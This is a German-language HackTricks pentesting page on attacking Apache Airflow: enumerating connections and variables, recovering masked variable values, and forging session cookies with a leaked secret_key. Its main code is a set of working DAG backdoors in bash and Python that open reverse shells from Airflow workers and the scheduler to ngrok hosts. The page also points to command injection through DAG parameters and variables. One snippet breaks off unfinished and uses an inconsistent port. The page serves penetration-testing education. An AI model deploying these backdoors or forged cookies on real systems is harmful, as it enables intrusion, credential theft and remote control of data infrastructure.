Files
hacktricks-cloud/src/pentesting-ci-cd/apache-airflow-security/README.md

166 lines
8.0 KiB
Markdown

# Apache Airflow Sicherheit
{{#include ../../banners/hacktricks-training.md}}
### Grundinformationen
[**Apache Airflow**](https://airflow.apache.org) dient als Plattform zum **Orchestrieren und Planen von Datenpipelines oder Workflows**. Der Begriff "Orchestrierung" im Kontext von Datenpipelines bezeichnet den Prozess des Arrangierens, Koordinierens und Verwaltens komplexer Daten-Workflows, die aus verschiedenen Quellen stammen. Der Hauptzweck dieser orchestrierten Datenpipelines besteht darin, verarbeitete und konsumierbare Datensätze bereitzustellen. Diese Datensätze werden von einer Vielzahl von Anwendungen umfassend genutzt, einschließlich, aber nicht beschränkt auf Business-Intelligence-Tools, Datenwissenschafts- und Machine-Learning-Modelle, die alle grundlegend für das Funktionieren von Big-Data-Anwendungen sind.
Im Grunde wird Apache Airflow Ihnen ermöglichen, **die Ausführung von Code zu planen, wenn etwas** (Ereignis, Cron) **passiert**.
### Lokales Labor
#### Docker-Compose
Sie können die **docker-compose-Konfigurationsdatei von** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) verwenden, um eine vollständige Apache Airflow-Docker-Umgebung zu starten. (Wenn Sie auf MacOS sind, stellen Sie sicher, dass Sie der Docker-VM mindestens 6 GB RAM zuweisen).
#### Minikube
Eine einfache Möglichkeit, **Apache Airflow** auszuführen, besteht darin, es **mit Minikube** auszuführen:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command
# Use this command to delete it
helm delete airflow-release
```
### Airflow-Konfiguration
Airflow könnte **sensible Informationen** in seiner Konfiguration speichern oder Sie können schwache Konfigurationen finden:
{{#ref}}
airflow-configuration.md
{{#endref}}
### Airflow RBAC
Bevor Sie mit dem Angriff auf Airflow beginnen, sollten Sie verstehen, **wie Berechtigungen funktionieren**:
{{#ref}}
airflow-rbac.md
{{#endref}}
### Angriffe
#### Webkonsole Enumeration
Wenn Sie **Zugriff auf die Webkonsole** haben, könnten Sie in der Lage sein, einige oder alle der folgenden Informationen zuzugreifen:
- **Variablen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert werden)
- **Verbindungen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert werden)
- Greifen Sie darauf zu unter `http://<airflow>/connection/list/`
- [**Konfiguration**](./#airflow-configuration) (Sensible Informationen wie der **`secret_key`** und Passwörter könnten hier gespeichert werden)
- Liste der **Benutzer & Rollen**
- **Code jedes DAG** (der interessante Informationen enthalten könnte)
#### Abrufen von Variablenwerten
Variablen können in Airflow gespeichert werden, damit die **DAGs** auf ihre Werte **zugreifen** können. Es ist ähnlich wie bei Geheimnissen anderer Plattformen. Wenn Sie **genug Berechtigungen** haben, können Sie sie in der GUI unter `http://<airflow>/variable/list/` abrufen.\
Airflow zeigt standardmäßig den Wert der Variablen in der GUI an, jedoch ist es laut [**dieser**](https://marclamberti.com/blog/variables-with-apache-airflow/) möglich, eine **Liste von Variablen** festzulegen, deren **Wert** in der **GUI** als **Sternchen** angezeigt wird.
![](<../../images/image (164).png>)
Diese **Werte** können jedoch weiterhin über **CLI** (Sie müssen DB-Zugriff haben), **willkürliche DAG**-Ausführung, **API**-Zugriff auf den Variablen-Endpunkt (die API muss aktiviert sein) und **sogar die GUI selbst!** abgerufen werden.\
Um auf diese Werte über die GUI zuzugreifen, wählen Sie einfach die **Variablen** aus, auf die Sie zugreifen möchten, und **klicken Sie auf Aktionen -> Exportieren**.\
Eine andere Möglichkeit besteht darin, einen **Bruteforce** auf den **versteckten Wert** durchzuführen, indem Sie die **Suchfilterung** verwenden, bis Sie ihn erhalten:
![](<../../images/image (152).png>)
#### Privilegieneskalation
Wenn die Konfiguration **`expose_config`** auf **True** gesetzt ist, können Benutzer ab der **Rolle Benutzer** und **darüber hinaus** die **Konfiguration im Web** **lesen**. In dieser Konfiguration erscheint der **`secret_key`**, was bedeutet, dass jeder Benutzer mit diesem gültigen Schlüssel **seinen eigenen signierten Cookie erstellen kann, um sich als ein anderer Benutzeraccount auszugeben**.
```bash
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
#### DAG Backdoor (RCE in Airflow worker)
Wenn Sie **Schreibzugriff** auf den Ort haben, an dem die **DAGs gespeichert** sind, können Sie einfach **einen erstellen**, der Ihnen eine **Reverse-Shell** sendet.\
Beachten Sie, dass diese Reverse-Shell innerhalb eines **Airflow-Worker-Containers** ausgeführt wird:
```python
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator
with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
)
```
```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
```
#### DAG Backdoor (RCE im Airflow-Scheduler)
Wenn Sie etwas auf **der Wurzel des Codes ausführen** lassen, wird es zum Zeitpunkt des Schreibens **vom Scheduler ausgeführt**, nachdem es ein paar Sekunden lang im DAG-Ordner platziert wurde.
```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
rs("2.tcp.ngrok.io", 14403)
with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
#### DAG-Erstellung
Wenn es Ihnen gelingt, **eine Maschine im DAG-Cluster zu kompromittieren**, können Sie neue **DAG-Skripte** im `dags/`-Ordner erstellen, und sie werden **im Rest der Maschinen** im DAG-Cluster **repliziert**.
#### DAG-Code-Injection
Wenn Sie einen DAG über die GUI ausführen, können Sie **Argumente** an ihn **übergeben**.\
Daher könnte der DAG, wenn er nicht ordnungsgemäß codiert ist, **anfällig für Command Injection** sein.\
Das ist, was in diesem CVE passiert ist: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
Alles, was Sie wissen müssen, um **nach Command Injections in DAGs zu suchen**, ist, dass **Parameter** mit dem Code **`dag_run.conf.get("param_name")`** **zugegriffen** werden.
Darüber hinaus könnte die gleiche Verwundbarkeit auch bei **Variablen** auftreten (beachten Sie, dass Sie mit ausreichenden Rechten **den Wert der Variablen** in der GUI **steuern** könnten). Variablen werden **zugegriffen mit**:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
Wenn sie beispielsweise innerhalb eines Bash-Befehls verwendet werden, könnten Sie eine Befehlsinjektion durchführen.
{{#include ../../banners/hacktricks-training.md}}